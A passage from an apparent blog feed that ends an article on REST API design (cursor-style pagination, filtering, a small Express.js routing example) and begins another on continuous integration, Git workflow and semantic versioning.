&lt;td&gt;&lt;strong&gt;45,&lt;/strong&gt; Jon, 20&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;55,&lt;/strong&gt; Alice, 30&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;99,&lt;/strong&gt; Pete, 37&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;87,&lt;/strong&gt; Laura, 23&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;9,&lt;/strong&gt; Bob, 33&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1,&lt;/strong&gt; Cindy, 39&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;3,&lt;/strong&gt; Jean, 25&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;2,&lt;/strong&gt; Helen, 36&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;78,&lt;/strong&gt; Max, 40&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Here is a scenario:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;GET /users?page=0&lt;/code&gt;: fine, you get results from Jon (id 45) to Jean (id 3).&lt;/li&gt;
&lt;li&gt;A new user (Mary) signs up on your website/mobile application, aged of 24.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GET /users?page=1&lt;/code&gt;: you get results from Jean to Bob. You got the same person twice (Jean), this is a problem.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="what-happened"&gt;What happened?&lt;/h2&gt;
&lt;p&gt;As Mary is 24 and the API returns results sorted by age, Mary would be returned on page 0, which shifts Jean to page 1.&lt;/p&gt;
&lt;p&gt;A good way to solve this problem is to create a pagination based on an entity (here, a user). Instead of requesting a particular page, you would say to the API "&lt;em&gt;give me results after this user&lt;/em&gt;" or "&lt;em&gt;before this user&lt;/em&gt;". Let me explain it by replaying our scenario:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;GET /users&lt;/code&gt;: no pagination specified, fine, you get results from Jon (id 45) to Jean (id 3)&lt;/li&gt;
&lt;li&gt;A new user (Mary) signs up on your website/mobile application, aged of 24.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GET /users?pageAfter=3&lt;/code&gt;: since the last person of our previous results had an id of 3, we request the users &lt;strong&gt;after&lt;/strong&gt; that ID. This way, we make sure we won't get duplicated results.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;To achieve this, you can either write a more complex SQL query of simply do the pagination programmatically.&lt;/p&gt;
&lt;p&gt;The only problem that still remains is that, by doing this, we have no way to retrieve Mary, except if we request page 0 again, by doing this, for example:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;GET /users?pageBefore=3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Two last things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Always enable pagination, even if your entire collection is small and will never grow. Like this, you API's users won't get lost. The API remains consistent.&lt;/li&gt;
&lt;li&gt;If a page returns this entire collection, use the status code 200. Otherwise, use the status code 206 (&lt;em&gt;Partial Content&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://metabates.com/2012/02/22/adding-pagination-to-an-api/"&gt;More information about pagination&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="filtering-and-sorting"&gt;Filtering and sorting&lt;/h1&gt;
&lt;p&gt;Every end-point that returns a list of resource should allow filtering on fields, as well as sorting. The following request should be possible:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;GET /users?country=US&amp;amp;age=21&amp;amp;sortBy=name
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We request all the users from the US, aged of 21, sorted by name. The inner mechanism is up to the developers.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;We're done! Now, you know how to build efficient and robust APIs.&lt;/p&gt;
&lt;p&gt;Building an efficient API involves many aspects to consider, and most of all, requires a good knowledge of HTTP. It's time-consuming at first sight, but once you know what you're doing, what your needs are in terms of features, it's pretty straightforward. Considering all aspects right at the beginning, like security or the database architecture and how you would like to expose it, is key. That's what is called designing an architecture, and one should pay heed to it. When properly and carefully done, the API implementation job is fairly easy.&lt;/p&gt;
&lt;p&gt;What are the next steps?&lt;/p&gt;
&lt;h1 id="add-a-documentation-for-other-developers-who-use-your-api"&gt;Add a documentation for other developers who use your API&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://apidocjs.com/"&gt;apidoc&lt;/a&gt; (I really like this one, very easy)&lt;/li&gt;
&lt;li&gt;&lt;a href="http://swagger.io/"&gt;Swagger.io&lt;/a&gt; (good reputation, altough I never tried it)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@orliesaurus/a-review-of-all-most-common-api-editors-6a720dc4f4e6"&gt;A full list of most common API editors&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="going-further-create-a-cli"&gt;Going further: create a CLI&lt;/h1&gt;
&lt;p&gt;Make you API public! Create a documentation and a NPM package to ease the work for developers. &lt;a href="https://www.clever-cloud.com/blog/features/2015/09/21/Public-API-available/"&gt;Read how Clever Cloud did it&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.npmjs.com/package/cliparse"&gt;cliparse&lt;/a&gt;&lt;/p&gt;
&lt;h1 id="quick-example-with-expressjs"&gt;Quick example with Express.js&lt;/h1&gt;
&lt;p&gt;&lt;a href="http://expressjs.com/"&gt;Express&lt;/a&gt; ease the process of developing APIs with Javascript so much! You should definitely give it a try!&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;npm init
npm install -g express &lt;span class="c1"&gt;# Globally, to be able to use the CLI of express&lt;/span&gt;
npm install -S express &lt;span class="c1"&gt;# Locally, added as a dependency&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Here is how to define a little API with Express (I only wrote the most important lines). Every controller defines many functions to handle the end-points (storing data into the database, etc.).&lt;/p&gt;
&lt;p&gt;In this example, the access to all the end-points is restricted, with a &lt;a href="http://expressjs.com/guide/using-middleware.html"&gt;middleware&lt;/a&gt; called &lt;code&gt;auth&lt;/code&gt;. The clients need to provide specific headers in order to perfom actions with the API.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;express&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;express&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="c1"&gt;// Controllers&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;usersController&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;cloud/controllers/users.js&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;categoriesController&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;cloud/controllers/category.js&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="c1"&gt;// Configuration&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;express&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;auth&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;cloud/functions/security&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;express&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;methodOverride&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Allow PUT and DELETE&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="cm"&gt;/*** API ***/&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="c1"&gt;// Users&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/users&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="nx"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;usersController&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;all&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/users/:id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="nx"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;usersController&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;get&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/users&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;usersController&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;signup&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/users/login&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;usersController&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;login&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/users/:id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="nx"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;usersController&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;edit&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;_delete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/users/:id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nx"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;usersController&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;_delete&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="c1"&gt;// In case of failure&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Some logging&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;code&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="c1"&gt;// Let it beee&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;That's it! With only a few lines, you can easily get a working API.&lt;/p&gt;
&lt;p&gt;This is now the end of this article, hope it will help you! Any feedback appreciated ;)&lt;/p&gt;
&lt;hr&gt;
&lt;h1 id="tldr"&gt;TL;DR&lt;/h1&gt;
&lt;p&gt;Here is a little recap of everything above:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;End-points represent either an individual resource or a collection of resources&lt;/li&gt;
&lt;li&gt;Use HTTPS verbs: &lt;strong&gt;GET&lt;/strong&gt;, &lt;strong&gt;PUT&lt;/strong&gt;, &lt;strong&gt;POST&lt;/strong&gt; and &lt;strong&gt;DELETE&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Use HTTP status codes (those already existing or yours)&lt;/li&gt;
&lt;li&gt;Use JSON&lt;/li&gt;
&lt;li&gt;The body must only contain the requested information. It can be either:&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A resource or partial details about a resource&lt;/strong&gt; (JSON object)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A list of resources&lt;/strong&gt; (JSON array): also provide full link with each resource (&lt;a href="https://my-api/users/123"&gt;https://my-api/users/123&lt;/a&gt; for example)&lt;/li&gt;
&lt;li&gt;Metadata must be put inside headers&lt;/li&gt;
&lt;li&gt;Number of rows when returning a list of results (added by the server)&lt;/li&gt;
&lt;li&gt;Secret keys for authentication/restricting access to the API (added by the client)&lt;/li&gt;
&lt;li&gt;Cookies for user management&lt;/li&gt;
&lt;li&gt;Use the &lt;code&gt;Location&lt;/code&gt; header (with the status code &lt;em&gt;201 Created&lt;/em&gt;, but without a body) after creating a resource with &lt;strong&gt;POST&lt;/strong&gt;, to give the resource's link&lt;/li&gt;
&lt;li&gt;Use query parameters&lt;/li&gt;
&lt;li&gt;Filtering: &lt;code&gt;GET /users?country=US&amp;amp;age=21&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Sorting: &lt;code&gt;GET /users?sortBy=name&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Pagination: &lt;code&gt;GET /users?pageAfter=3&lt;/code&gt;&lt;ul&gt;
&lt;li&gt;Always enable pagination on any collection, even for the small ones&lt;/li&gt;
&lt;li&gt;Pagination must be based on "&lt;em&gt;after a resource's identifier&lt;/em&gt;" or "&lt;em&gt;before a resource's identifier&lt;/em&gt;" to avoid duplicate content across pages&lt;/li&gt;
&lt;li&gt;Use the status code 200 when the entire collection fits in one page, otherwise 206&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="going-further"&gt;Going further&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://speakerdeck.com/dzuelke/designing-http-interfaces-and-restful-web-services-sfliveparis2012-2012-06-08"&gt;Designing HTTP Interfaces and RESTful Web Services (SFLiveParis2012 2012-06-08)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://nakedsecurity.sophos.com/2013/11/20/serious-security-how-to-store-your-users-passwords-safely/"&gt;Serious Security: How to store your users' passwords safely&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://securitychecklist.org/"&gt;securitychecklist.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=_k60dxlMjZ4"&gt;[DevFest Nantes 2015] REST from zero to hero in 45 minutes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://float-middle.com/json-web-tokens-jwt-vs-sessions/"&gt;JSON Web Tokens (JWT) vs Sessions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ponyfoo.com/articles/json-web-tokens-vs-session-cookies"&gt;JSON Web Tokens vs. Session Cookies: In Practice&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.appcanary.com/2017/http-security-headers.html"&gt;Everything you need to know about HTTP security headers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://kev.inburke.com/kevin/things-to-use-instead-of-jwt/"&gt;Things to Use Instead of JWT&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Code"></category><category term="javascript"></category><category term="code"></category><category term="api"></category><category term="http"></category><category term="rest"></category><category term="express"></category><category term="json"></category><category term="web"></category></entry><entry><title>Continuous Integration</title><link href="https://romainpellerin.eu/continuous-integration.html" rel="alternate"></link><published>2015-09-18T11:29:00+02:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2015-09-18:/continuous-integration.html</id><summary type="html">&lt;p&gt;Why you should embrace continuous integration and how&lt;/p&gt;</summary><content type="html">&lt;p&gt;After having experienced software development in many languages, from desktop programs to mobile applications and web sites, comes a moment when I felt compelled to standardize my software development process. In the last couple of months, we, at &lt;a href="http://www.wearesmiths.com/"&gt;The Smiths&lt;/a&gt;, tried to define our workflow more formally by integrating continuous integration. How to properly "synchronize" a team made of many developers, "spread all around the world", in different time zones? How to make sure there is no bottleneck at any level, during the development? First, let’s have a look at the definition.&lt;/p&gt;
&lt;p&gt;What is &lt;strong&gt;continuous integration&lt;/strong&gt;? According to &lt;a href="https://en.wikipedia.org/wiki/Continuous_integration"&gt;Wikipedia&lt;/a&gt;, it's:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;[...] the practice, in software engineering, of merging all developer working copies to a shared mainline several times a day.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;But not only. It's much more than this. Let's dive into continuous integration.&lt;/p&gt;
&lt;h1 id="purpose"&gt;Purpose&lt;/h1&gt;
&lt;p&gt;Continuous integration is an entire concept that tries to ease software development by making things much easier and more flexible. Like agile methodology, it's been getting more and more popular since the beginning of the 2000's. Nowadays, it tends to be widely adopted in any kind of software company.&lt;/p&gt;
&lt;h2 id="effortless-automation"&gt;Effortless automation&lt;/h2&gt;
&lt;p&gt;Continuous integration is mostly about automation. By this, I mean being able to deploy flawlessly, many times a day. Like &lt;a href="https://romainpellerin.eu/i-want-to-be-a-more-efficient-developer.html"&gt;Quentin Adam&lt;/a&gt; is used to saying,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;&lt;a href="https://twitter.com/waxzce/status/639078610230476800"&gt;Hosting has to become a commodity.&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The same applies for documentation generation, testing and deploying. Repetitive tasks are most of the time painful and should be performed by computers.&lt;/p&gt;
&lt;h2 id="continuous-testing"&gt;Continuous testing&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Every new release should be tested.&lt;/strong&gt; Automatically. Without any human intervention. In a safe and minimal environment, not a human's environment with tons of programs, custom environment variables, outdated dependencies, etc. It's a human job to design the tests but running and validating them is a machine job. This way, the results can be shared with an entire team over automatic emails and archived.&lt;/p&gt;
&lt;h2 id="documentation"&gt;Documentation&lt;/h2&gt;
&lt;p&gt;Writting documentation is for humans. Generating it is for machines. Again, it's a repetitive task that no one should be assigned. It's a waste of time. Machines can do it instead of us, at the right time, usually when a new release is about to come out. Furthermore, machines don't forget to bump the version numbers.&lt;/p&gt;
&lt;h2 id="deploying"&gt;Deploying&lt;/h2&gt;
&lt;p&gt;With continuous integration, deploying should be as simple as a &lt;a href="https://twitter.com/Tim_LHUILLIER/status/396652013716770816"&gt;&lt;code&gt;git push&lt;/code&gt;&lt;/a&gt;. When time has come for deployment, no one has to use &lt;code&gt;ssh&lt;/code&gt; or &lt;code&gt;rcp&lt;/code&gt;, not even &lt;code&gt;ftp&lt;/code&gt;. &lt;strong&gt;It's unsafe insofar as it's too much of a risk to let a human get inside a production machine.&lt;/strong&gt; A developer has nothing to do in a production machine, as long as all the tests have been passed before pushing to production. All one can do is breaking something. A production machine is meant to be administrated by a sysadmin, no one else. Once it's set up, the only action required by developers is pushing code when it's ready to go live.&lt;/p&gt;
&lt;p&gt;It's the same story for releases. Packaging and releasing a new version &lt;strong&gt;must&lt;/strong&gt; be a simple task anyone can do, not only the CTO, regardless of the OS, configuration, and so on.&lt;/p&gt;
&lt;h1 id="why"&gt;Why&lt;/h1&gt;
&lt;p&gt;Now that I exposed the principles of &lt;strong&gt;continuous integration&lt;/strong&gt;, the question you may want to ask is "Yes, but why?". Indeed, prior to continuous integration, everything was already working well, more or less. So, you might wonder how anyone can benefit from continuous integration.&lt;/p&gt;
&lt;p&gt;In fact, continuous integration should simply be regarded as an entire development workflow. It enables your team of developers (or even a single developer) to be more agile. You can easily get rid of god-awful tasks without actually deleting them, just by delegating them to computers.&lt;/p&gt;
&lt;p&gt;In parallel, you can improve maintainability and evolutivity of the software produced by adopting the right versioning and bug tracking tools. How? Let's take an example.&lt;/p&gt;
&lt;p&gt;Remember in the old days, when you used to package your code into a zip file and name it according to the version? How boring it was to keep all of those files. Was it easy to track differences between two given versions? How could you determine the changes? How could you apply hotfixes on an old (but still in use) version as well as on the latest one? How could you know which developer had written which feature? Here come the version control systems, or more simply, Git.&lt;/p&gt;
&lt;p&gt;Another example. For every new version (and sometimes between two) you had to set up your environment correctly, generate the documentation from source code, bump the version number in both code and documentation, run unit/integration/system tests and finally, if everything goes well, compile it for &lt;strong&gt;as many platforms as you support&lt;/strong&gt; (which quite often would mean a lot), and make it available on a website (or somewhere else). Well, how pleasant would it be if &lt;strong&gt;all of this&lt;/strong&gt; could be achieved right after a &lt;code&gt;git push&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;Let's now see how to get started with continuous integration, easily.&lt;/p&gt;
&lt;hr&gt;
&lt;h1 id="how"&gt;How&lt;/h1&gt;
&lt;p&gt;Now, you might have understood that you &lt;strong&gt;have to use Git&lt;/strong&gt;. And if you stil don't know why, you read read my article &lt;a href="https://romainpellerin.eu/git.html"&gt;about Git&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In my opinion, the most important thing with continuous integration is... your Git workflow. You have to remain consistent from the beginning of a project to its end. Everyone involved has to be careful and focused at each step. Working within a big team is not something easy. Everyone has different schedules, information doesn't spread that well. That's why having a robust and error-proof Git workflow matters.&lt;/p&gt;
&lt;p&gt;At The Smiths, we identified &lt;strong&gt;four main components&lt;/strong&gt; that we wanted as &lt;strong&gt;core parts of our Continuous Integration process&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Semantic versioning&lt;/li&gt;
&lt;li&gt;A Git workflow&lt;/li&gt;
&lt;li&gt;Travis-ci.org&lt;/li&gt;
&lt;li&gt;Agile methodology&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="semantic-versioning"&gt;Semantic versioning&lt;/h2&gt;
&lt;p&gt;We decided to stick to the very simple rules proposed by &lt;a href="http://semver.org/"&gt;semver.org&lt;/a&gt;. Basically, it says that a version number should be something like &lt;em&gt;MAJOR.MINOR.PATCH&lt;/em&gt;, where (what follows has been extracted from their website):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;MAJOR version when you make incompatible API changes&lt;/li&gt;
&lt;li&gt;MINOR version when you add functionality in a backwards-compatible manner&lt;/li&gt;
&lt;li&gt;PATCH version when you make backwards-compatible bug fixes&lt;/li&gt;
&lt;/ol&gt;
